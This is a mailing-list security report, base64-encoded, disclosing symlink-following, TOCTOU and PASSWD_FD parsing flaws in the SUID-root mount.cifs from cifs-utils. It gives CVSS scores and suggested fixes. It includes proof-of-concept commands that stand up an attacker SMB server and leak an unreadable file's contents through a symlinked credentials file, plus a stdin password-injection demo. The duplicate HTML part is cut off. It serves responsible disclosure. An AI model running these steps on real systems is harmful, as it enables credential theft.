[SECURITY] cifs-utils: mount.cifs credential file opened without O_NOFOLLOW in SUID binary (CWE-61/CWE-367/CWE-20)

Thurein Oo <[email protected]> Tue, 28 Jul 2026 14:07:40 +0700
Newsgroups org.kernel.vger.linux-cifs
Message-ID <CAA1yUAfxirwk8rNsDweJfW2AiMdyRi+FHW7sPw8BepEvj=vejg@mail.gmail.com>
--000000000000d1c3020657a68075
Content-Type: multipart/alternative; boundary="000000000000d1c3010657a68073"

--000000000000d1c3010657a68073
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: base64

SGVsbG8gVWJ1bnR1IFNlY3VyaXR5IFRlYW0sDQoNCkkgYW0gcmVwb3J0aW5nIHRocmVlIHNlY3Vy
aXR5IGRlZmVjdHMgaW4gdGhlIG1vdW50LmNpZnMgYmluYXJ5IChjaWZzLXV0aWxzDQpwYWNrYWdl
KSwgY29uZmlybWVkIG9uIFVidW50dSAyNS4xMC4gVGhlIGJpbmFyeSBpcyBpbnN0YWxsZWQgU1VJ
RC1yb290IGFuZA0KcmV0YWlucyBDQVBfREFDX1JFQURfU0VBUkNIIHdoZW4gb3BlbmluZyBjcmVk
ZW50aWFsIGZpbGVzLiBUd28gb2YgdGhlDQp0aHJlZSBmaW5kaW5ncyBoYXZlIGJlZW4gZGVtb25z
dHJhdGVkIGVuZC10by1lbmQuDQoNCkkgYW0gcmVwb3J0aW5nIHRvIFVidW50dSBTZWN1cml0eSBm
aXJzdCBkdWUgdG8geW91ciBDTkEgc3RhdHVzLCBhbmQgaGF2ZQ0KY2MnZCB0aGUgY2lmcy11dGls
cyB1cHN0cmVhbSBtYWlsaW5nIGxpc3QgZm9yIGNvb3JkaW5hdGVkIGRpc2Nsb3N1cmUuDQoNCuKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0K
QUZGRUNURUQgUEFDS0FHRQ0K4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSADQpQYWNrYWdlOiAgY2lmcy11dGlscw0KQmluYXJ5OiAgIC91c3Iv
c2Jpbi9tb3VudC5jaWZzIChTVUlELXJvb3QpDQpWZXJzaW9uOiAgMjo3LjQtMXVidW50dTAuMjUu
MTAuMiAoY29uZmlybWVkIHZ1bG5lcmFibGUpDQpVcHN0cmVhbTogPD0gNy43IChIRUFEIGFzIG9m
IDIwMjYtMDctMjQgLS0gbm8gZml4IHByZXNlbnQpDQpLZXJuZWw6ICAgNi4xNy4wLTQxIChVYnVu
dHUgMjUuMTAsIGFtZDY0KQ0KDQrilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIANClNVTU1BUlkNCuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0KVGhyZWUgaW5kZXBlbmRlbnQgZGVmZWN0
cyBpbiBtb3VudC5jaWZzIGNyZWRlbnRpYWwgaGFuZGxpbmc6DQoNCiAgRmluZGluZyAyIFtERU1P
TlNUUkFURURdIC0tIGdldF9wYXNzd29yZF9mcm9tX2ZpbGUoKSBvcGVucyB0aGUNCiAgUEFTU1dE
X0ZJTEUgZW52aXJvbm1lbnQgdmFyaWFibGUgcGF0aCB3aXRoIG9wZW4oZmlsZW5hbWUsIE9fUkRP
TkxZKQ0KICBhdCBtb3VudC5jaWZzLmM6NzAxLCB3aXRob3V0IE9fTk9GT0xMT1cuIFdpdGggQ0FQ
X0RBQ19SRUFEX1NFQVJDSA0KICBlZmZlY3RpdmUsIG1vdW50LmNpZnMgZm9sbG93cyBhIHN5bWxp
bmsgcGxhY2VkIGJ5IHRoZSBjYWxsZXIgdG8gYW55DQogIGZpbGUgb24gdGhlIHN5c3RlbS4gQ29u
dGVudCBtYXRjaGluZyB1c2VybmFtZT0vcGFzc3dvcmQ9IGZvcm1hdCBpcw0KICB0cmFuc21pdHRl
ZCB0byB0aGUgU01CIHNlcnZlciBhcyBhdXRoZW50aWNhdGlvbiBjcmVkZW50aWFscy4NCg0KICBG
aW5kaW5nIDMgW0RFTU9OU1RSQVRFRF0gLS0gUEFTU1dEX0ZEIGlzIHByb2Nlc3NlZCB2aWEgYXRv
aSgpIGF0DQogIG1vdW50LmNpZnMuYzoxNDYxIHdpdGggbm8gYm91bmRzIGNoZWNrLiBhdG9pKCJp
bnZhbGlkIikgcmV0dXJucyAwOw0KICBmZCAwIGlzIHN0ZGluLiBtb3VudC5jaWZzIHNpbGVudGx5
IHJlYWRzIHRoZSBwYXNzd29yZCBmcm9tIHN0ZGluDQogIHdpdGggbm8gcHJvbXB0IG9yIHdhcm5p
bmcuDQoNCiAgRmluZGluZyAxIFtTVFJVQ1RVUkFMXSAtLSBvcGVuX2NyZWRfZmlsZSgpIHBlcmZv
cm1zIGFjY2VzcygpIGF0IGxpbmUNCiAgNjA1IHRoZW4gZm9wZW4oKSBhdCBsaW5lIDYxMiB3aXRo
IENBUF9EQUNfUkVBRF9TRUFSQ0ggaGVsZCBhY3Jvc3MNCiAgYm90aCBjYWxscy4gQW4gYXR0YWNr
ZXIgY2FuIHN3YXAgdGhlIGZpbGUgZm9yIGEgc3ltbGluayBiZXR3ZWVuIHRoZQ0KICB0d28gY2Fs
bHMgKFRPQ1RPVSkuIFJhY2Ugd2luZG93IGNvbmZpcm1lZCBieSBjb2RlIHJldmlldzsgbm90IHdv
bg0KICBpbiA1MCwwMDAgYXV0b21hdGVkIGF0dGVtcHRzIG9uIGEgVk0uDQoNCuKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0KQ1ZTUw0K4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSADQpG
aW5kaW5nIDErMjogQ1ZTUzozLjEvQVY6TC9BQzpML1BSOkwvVUk6Ti9TOlUvQzpIL0k6Ti9BOk4g
PSA1LjUgTWVkaXVtDQpGaW5kaW5nIDM6ICAgQ1ZTUzozLjEvQVY6TC9BQzpML1BSOkwvVUk6Ti9T
OlUvQzpOL0k6TC9BOk4gPSAzLjMgTG93DQpDV0U6ICAgICAgICAgQ1dFLTYxIChzeW1saW5rIGZv
bGxvd2luZyksIENXRS0zNjcgKFRPQ1RPVSksIENXRS0yMCAoaW5wdXQNCnZhbGlkYXRpb24pDQoN
CuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gA0KUFJPT0YgT0YgQ09OQ0VQVCAtLSBGSU5ESU5HIDIgKGNyZWRlbnRpYWwgdGhlZnQgdmlhIHN5
bWxpbmspDQrilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIANCiMgMS4gU3RhcnQgYXR0YWNrZXIgU01CIHNlcnZlcg0Kc3VkbyBweXRob24zIHNt
YnNlcnZlci5weSAtcG9ydCA0NDQ1IHNoYXJlIC90bXAvc21iX3NoYXJlDQoNCiMgMi4gQ3JlYXRl
IGEgZmlsZSB1bnJlYWRhYmxlIGJ5IHRoZSBjYWxsaW5nIHVzZXINCnByaW50ZiAndXNlcm5hbWU9
U0VDUkVUX1ZBTFVFX0xFQUtFRFxucGFzc3dvcmQ9aHVudGVyMlxuJyA+DQovaG9tZS90cm8vc2Vj
cmV0LnR4dA0KY2htb2QgMDAwIC9ob21lL3Ryby9zZWNyZXQudHh0DQpjYXQgL2hvbWUvdHJvL3Nl
Y3JldC50eHQgICMgLT4gUGVybWlzc2lvbiBkZW5pZWQNCg0KIyAzLiBDcmVhdGUgc3ltbGluayAo
YXMgdGhlIG5vcm1hbCB1c2VyKQ0KbG4gLXMgL2hvbWUvdHJvL3NlY3JldC50eHQgL2hvbWUvdHJv
L2NyZWRzX2xpbmsNCmNhdCAvaG9tZS90cm8vY3JlZHNfbGluayAgIyAtPiBQZXJtaXNzaW9uIGRl
bmllZA0KDQojIDQuIFRyaWdnZXIgLS0gbW91bnQuY2lmcyBmb2xsb3dzIHN5bWxpbmsgd2l0aCBD
QVBfREFDX1JFQURfU0VBUkNIDQojIChzdWRvIHNpbXVsYXRlcyBtb3VudC5jaWZzIGludm9rZWQg
YXMgcm9vdCBieSBjcm9uL2ZzdGFiL3N5c3RlbWQ7IHRoZQ0KYXR0YWNrZXIgcGxhY2VzIHRoZSBz
eW1saW5rIGluIHRoZWlyIG93biBob21lIGRpcmVjdG9yeSAtLW5vIHdyaXRlIGFjY2Vzcw0KdG8g
YW55IHByaXZpbGVnZWQgcGF0aCBpcyByZXF1aXJlZCkNCnN1ZG8gL3Vzci9zYmluL21vdW50LmNp
ZnMgLy8xMjcuMC4wLjEvc2hhcmUgL3RtcC9tbnQgXA0KICAgIC1vICJjcmVkZW50aWFscz0vaG9t
ZS90cm8vY3JlZHNfbGluayxwb3J0PTQ0NDUsdmVycz0xLjAiDQoNCiMgQXR0YWNrZXIncyBTTUIg
c2VydmVyIGxvZ3M6DQojIFstXSByZXNlYXJjaFxTRUNSRVRfVkFMVUVfTEVBS0VEOiBUcmVlQ29u
bmVjdEFuZFggbm90IGZvdW5kIHNoYXJlDQoNCiMgTm90ZTogL2hvbWUvdHJvLyBpcyB1c2VkIGlu
c3RlYWQgb2YgL3RtcCBiZWNhdXNlIGZzLnByb3RlY3RlZF9zeW1saW5rcz0xDQojIGJsb2NrcyBj
cm9zcy11c2VyIHN5bWxpbmsgZm9sbG93aW5nIGluIHN0aWNreSBkaXJlY3RvcmllcyAoL3RtcCwN
Ci92YXIvdG1wKS4NCiMgUmVhbC13b3JsZCBjcmVkZW50aWFsIHBhdGhzICgvZXRjL2NpZnMvLCAv
cm9vdC8sIGFwcCBjb25maWcgZGlycykgYXJlIG5vdA0Kc3RpY2t5IGFuZCBhcmUgbm90IHByb3Rl
Y3RlZCBieSB0aGlzIG1pdGlnYXRpb24uDQoNCuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0KUFJPT0YgT0YgQ09OQ0VQVCAtLSBGSU5ESU5H
IDMgKFBBU1NXRF9GRCBzdGRpbiBpbmplY3Rpb24pDQrilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIANCiMgQnVnOiBhdG9pKCJpbnZhbGlkIikg
PSAwLCBmZCAwID0gc3RkaW4gLS0gbm8gcHJvbXB0LCBzaWxlbnRseSBjb25zdW1lZA0KZWNobyAi
SU5KRUNURURfUEFTU1dPUkQiIHwgc3VkbyBzdHJhY2UgLWYgLWUgdHJhY2U9cmVhZCBcDQogICAg
ZW52IFBBU1NXRF9GRD1pbnZhbGlkIFwNCiAgICAvdXNyL3NiaW4vbW91bnQuY2lmcyAvLzEyNy4w
LjAuMS9zaGFyZSAvbW50IFwNCiAgICAtbyB1c2VyPXRlc3R1c2VyIDI+JjEgfCBncmVwICJyZWFk
KDAiDQoNCiMgT3V0cHV0Og0KIyBbcGlkIDc3OTQzOF0gcmVhZCgwLCAiSU5KRUNURURfUEFTU1dP
UkRcbiIsIDUxMykgPSAxOA0KDQrilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIANClNVR0dFU1RFRCBGSVgNCuKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU
gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0KMS4gbW91bnQuY2lmcy5jOjYx
MiBhbmQgOjcwMSAtLSByZXBsYWNlIGZvcGVuKCkvb3BlbigpIHdpdGg6DQogICBvcGVuKHBhdGgs
IE9fUkRPTkxZIHwgT19OT0ZPTExPVyB8IE9fQ0xPRVhFQykNCiAgIFJldHVybiBFTE9PUCBpZiB0
aGUgcGF0aCBpcyBhIHN5bWxpbmsuDQoNCjIuIEFkZCBhdCBzdGFydHVwLCBiZWZvcmUgcGFyc2Vf
b3B0aW9ucygpOg0KICAgdW5zZXRlbnYoIlBBU1NXRF9GSUxFIik7IHVuc2V0ZW52KCJQQVNTV0Rf
RkQiKTsNCiAgIFRoZXNlIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkIGZyb20gdGhlIGNhbGxlcidz
IGVudmlyb25tZW50Lg0KDQozLiBtb3VudC5jaWZzLmM6MTQ2MSAtLSByZXBsYWNlIGF0b2kodG1w
KSB3aXRoIHN0cnRvbCgpIGFuZCB2YWxpZGF0ZQ0KICAgdGhhdCB0aGUgcmVzdWx0aW5nIGZkIGlz
IGluIHRoZSByYW5nZSBbMywgT1BFTl9NQVhdLg0KDQrilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIANCg0KSSBhbSBoYXBweSB0byBleHRlbmQg
b3Igc2hvcnRlbiB0aGUgZW1iYXJnbyBiYXNlZCBvbiB5b3VyIGFzc2Vzc21lbnQuDQoNCkEgZnVs
bCB0ZWNobmljYWwgcmVwb3J0IGlzIGF0dGFjaGVkIGFzIG1vdW50X2NpZnNfY3JlZGVudGlhbHNf
bm9mb2xsb3cubWQuDQoNCkJlc3QgcmVnYXJkcywNCipUaHVyZWluIE9vICAqDQoqQ3liZXJzZWN1
cml0eSBBbmFseXN0ICAqDQoqZUNUSFB2MiB8IGVDSVIgfCBPU1dQIHwgTUNSVEEqDQrwn5SXIExp
bmtlZEluIDxodHRwczovL3d3dy5saW5rZWRpbi5jb20vaW4vdGh1cmVpbm9vLz4NCg==
--000000000000d1c3010657a68073
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: base64

PGRpdiBkaXI9Imx0ciI+PGRpdj5IZWxsbyBVYnVudHUgU2VjdXJpdHkgVGVhbSw8YnI+PGJyPkkg
YW0gcmVwb3J0aW5nIHRocmVlIHNlY3VyaXR5IGRlZmVjdHMgaW4gdGhlIG1vdW50LmNpZnMgYmlu
YXJ5IChjaWZzLXV0aWxzPGJyPnBhY2thZ2UpLCBjb25maXJtZWQgb24gVWJ1bnR1IDI1LjEwLiBU
aGUgYmluYXJ5IGlzIGluc3RhbGxlZCBTVUlELXJvb3QgYW5kPGJyPnJldGFpbnMgQ0FQX0RBQ19S
RUFEX1NFQVJDSCB3aGVuIG9wZW5pbmcgY3JlZGVudGlhbCBmaWxlcy4gVHdvIG9mIHRoZTxicj50
aHJlZSBmaW5kaW5ncyBoYXZlIGJlZW4gZGVtb25zdHJhdGVkIGVuZC10by1lbmQuPGJyPjxicj5J
IGFtIHJlcG9ydGluZyB0byBVYnVudHUgU2VjdXJpdHkgZmlyc3QgZHVlIHRvIHlvdXIgQ05BIHN0
YXR1cywgYW5kIGhhdmU8YnI+Y2MmIzM5O2QgdGhlIGNpZnMtdXRpbHMgdXBzdHJlYW0gbWFpbGlu
ZyBsaXN0IGZvciBjb29yZGluYXRlZCBkaXNjbG9zdXJlLjxicj48YnI+4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAPGJyPkFGRkVDVEVEIFBB
Q0tBR0U8YnI+4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSAPGJyPlBhY2thZ2U6IMKgY2lmcy11dGlsczxicj5CaW5hcnk6IMKgIC91c3Ivc2Jp
bi9tb3VudC5jaWZzIChTVUlELXJvb3QpPGJyPlZlcnNpb246IMKgMjo3LjQtMXVidW50dTAuMjUu
MTAuMiAoY29uZmlybWVkIHZ1bG5lcmFibGUpPGJyPlVwc3RyZWFtOiAmbHQ7PSA3LjcgKEhFQUQg
YXMgb2YgMjAyNi0wNy0yNCAtLSBubyBmaXggcHJlc2VudCk8YnI+S2VybmVsOiDCoCA2LjE3LjAt
NDEgKFVidW50dSAyNS4xMCwgYW1kNjQpPGJyPjxicj7ilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIA8YnI+U1VNTUFSWTxicj7ilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIA8YnI+VGhyZWUg
aW5kZXBlbmRlbnQgZGVmZWN0cyBpbiBtb3VudC5jaWZzIGNyZWRlbnRpYWwgaGFuZGxpbmc6PGJy
Pjxicj7CoCBGaW5kaW5nIDIgW0RFTU9OU1RSQVRFRF0gLS0gZ2V0X3Bhc3N3b3JkX2Zyb21fZmls
ZSgpIG9wZW5zIHRoZTxicj7CoCBQQVNTV0RfRklMRSBlbnZpcm9ubWVudCB2YXJpYWJsZSBwYXRo
IHdpdGggb3BlbihmaWxlbmFtZSwgT19SRE9OTFkpPGJyPsKgIGF0IG1vdW50LmNpZnMuYzo3MDEs
IHdpdGhvdXQgT19OT0ZPTExPVy4gV2l0aCBDQVBfREFDX1JFQURfU0VBUkNIPGJyPsKgIGVmZmVj
dGl2ZSwgbW91bnQuY2lmcyBmb2xsb3dzIGEgc3ltbGluayBwbGFjZWQgYnkgdGhlIGNhbGxlciB0
byBhbnk8YnI+wqAgZmlsZSBvbiB0aGUgc3lzdGVtLiBDb250ZW50IG1hdGNoaW5nIHVzZXJuYW1l
PS9wYXNzd29yZD0gZm9ybWF0IGlzPGJyPsKgIHRyYW5zbWl0dGVkIHRvIHRoZSBTTUIgc2VydmVy
IGFzIGF1dGhlbnRpY2F0aW9uIGNyZWRlbnRpYWxzLjxicj48YnI+wqAgRmluZGluZyAzIFtERU1P
TlNUUkFURURdIC0tIFBBU1NXRF9GRCBpcyBwcm9jZXNzZWQgdmlhIGF0b2koKSBhdDxicj7CoCBt
b3VudC5jaWZzLmM6MTQ2MSB3aXRoIG5vIGJvdW5kcyBjaGVjay4gYXRvaSgmcXVvdDtpbnZhbGlk
JnF1b3Q7KSByZXR1cm5zIDA7PGJyPsKgIGZkIDAgaXMgc3RkaW4uIG1vdW50LmNpZnMgc2lsZW50
bHkgcmVhZHMgdGhlIHBhc3N3b3JkIGZyb20gc3RkaW48YnI+wqAgd2l0aCBubyBwcm9tcHQgb3Ig
d2FybmluZy48YnI+PGJyPsKgIEZpbmRpbmcgMSBbU1RSVUNUVVJBTF0gLS0gb3Blbl9jcmVkX2Zp
bGUoKSBwZXJmb3JtcyBhY2Nlc3MoKSBhdCBsaW5lPGJyPsKgIDYwNSB0aGVuIGZvcGVuKCkgYXQg
bGluZSA2MTIgd2l0aCBDQVBfREFDX1JFQURfU0VBUkNIIGhlbGQgYWNyb3NzPGJyPsKgIGJvdGgg
Y2FsbHMuIEFuIGF0dGFja2VyIGNhbiBzd2FwIHRoZSBmaWxlIGZvciBhIHN5bWxpbmsgYmV0d2Vl
biB0aGU8YnI+wqAgdHdvIGNhbGxzIChUT0NUT1UpLiBSYWNlIHdpbmRvdyBjb25maXJtZWQgYnkg
Y29kZSByZXZpZXc7IG5vdCB3b248YnI+wqAgaW4gNTAsMDAwIGF1dG9tYXRlZCBhdHRlbXB0cyBv
biBhIFZNLjxicj48YnI+4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSAPGJyPkNWU1M8YnI+4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAPGJyPkZpbmRpbmcgMSsyOiBDVlNTOjMuMS9BVjpM
L0FDOkwvUFI6TC9VSTpOL1M6VS9DOkgvSTpOL0E6TiA9IDUuNSBNZWRpdW08YnI+RmluZGluZyAz
OiDCoCBDVlNTOjMuMS9BVjpML0FDOkwvUFI6TC9VSTpOL1M6VS9DOk4vSTpML0E6TiA9IDMuMyBM
b3c8YnI+Q1dFOiDCoCDCoCDCoCDCoCBDV0UtNjEgKHN5bWxpbmsgZm9sbG93aW5nKSwgQ1dFLTM2
NyAoVE9DVE9VKSwgQ1dFLTIwIChpbnB1dCB2YWxpZGF0aW9uKTxicj48YnI+4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA
4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAPGJyPlBST09GIE9G
IENPTkNFUFQgLS0gRklORElORyAyIChjcmVkZW50aWFsIHRoZWZ0IHZpYSBzeW1saW5rKTxicj7i
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi
lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIA8
YnI+IyAxLiBTdGFydCBhdHRhY2tlciBTTUIgc2VydmVyPGJyPnN1ZG8gcHl0aG9uMyBzbWJzZXJ2
ZXIucHkgLXBvcnQgNDQ0NSBzaGFyZSAvdG1wL3NtYl9zaGFyZTxicj48YnI+IyAyLiBDcmVhdGUg
YSBmaWxlIHVucmVhZGFibGUgYnkgdGhlIGNhbGxpbmcgdXNlcjxicj5wcmludGYgJiMzOTt1c2Vy
bmFtZT1TRUNSRVRfVkFMVUVfTEVBS0VEXG5wYXNzd29yZD1odW50ZXIyXG4mIzM5OyAmZ3Q7IC9o
b21lL3Ryby9zZWNyZXQudHh0PGJyPmNobW9kIDAwMCAvaG9tZS90cm8vc2VjcmV0LnR4dDxicj5j
YXQgL2hvbWUvdHJvL3NlY3JldC50eHQgwqAjIC0mZ3Q7IFBlcm1pc3Npb24gZGVuaWVkPGJyPjxi
cj4jIDMuIENyZWF0ZSBzeW1saW5rIChhcyB0aGUgbm9ybWFsIHVzZXIpPGJyPmxuIC1zIC9ob21l
L3Ryby9zZWNyZXQudHh0IC9ob21lL3Ryby9jcmVkc19saW5rPGJyPmNhdCAvaG9tZS90cm8vY3Jl
ZHNfbGluayDCoCMgLSZndDsgUGVybWlzc2lvbiBkZW5pZWQ8YnI+PGJyPiMgNC4gVHJpZ2dlciAt
LSBtb3VudC5jaWZzIGZvbGxvd3Mgc3ltbGluayB3aXRoIENBUF9EQUNfUkVBRF9TRUFSQ0g8YnI+
IyAoc3VkbyBzaW11bGF0ZXMgbW91bnQuY2lmcyBpbnZva2VkIGFzIHJvb3QgYnkgY3Jvbi9mc3Rh
Yi9zeXN0ZW1kOyB0aGUgYXR0YWNrZXIgcGxhY2VzIHRoZSBzeW1saW5rIGluIHRoZWlyIG93biBo
b21lIGRpcmVjdG9yeSAtLW5vIHdyaXRlIGFjY2VzcyB0byBhbnkgcHJpdmlsZWdlZCBwYXRoIGlz
IHJlcXVpcmVkKTxicj5zdWRvIC91c3Ivc2Jpbi9tb3VudC5jaWZzIC8vPGEgaHJlZj0iaHR0cDov
LzEyNy4wLjAuMS9zaGFyZSI+MTI3LjAuMC4xL3NoYXJlPC9hPiAvdG1wL21udCBcPGJyPsKgIMKg
IC1vICZxdW90O2NyZWRlbnRpYWxzPS9ob21lL3Ryby9jcmVkc19saW5rLHBvcnQ9NDQ0NSx2ZXJz
PTEuMCZxdW90Ozxicj48YnI+IyBBdHRhY2tlciYjMzk7cyBTTUIgc2VydmVyIGxvZ3M6PGJyPiMg
Wy1dIHJlc2VhcmNoXFNFQ1JFVF9WQUxVRV9MRUFLRUQ6IFRyZWVDb25uZWN0QW5kWCBub3QgZm91
bmQgc2hhcmU8YnI+PGJyPiMgTm90ZTogL2hvbWUvdHJvLyBpcyB1c2VkIGluc3RlYWQgb2YgL3Rt
cCBiZWNhdXNlIGZzLnByb3RlY3RlZF9zeW1saW5rcz0xPGJyPiMgYmxvY2tzIGNyb3NzLXVzZXIg
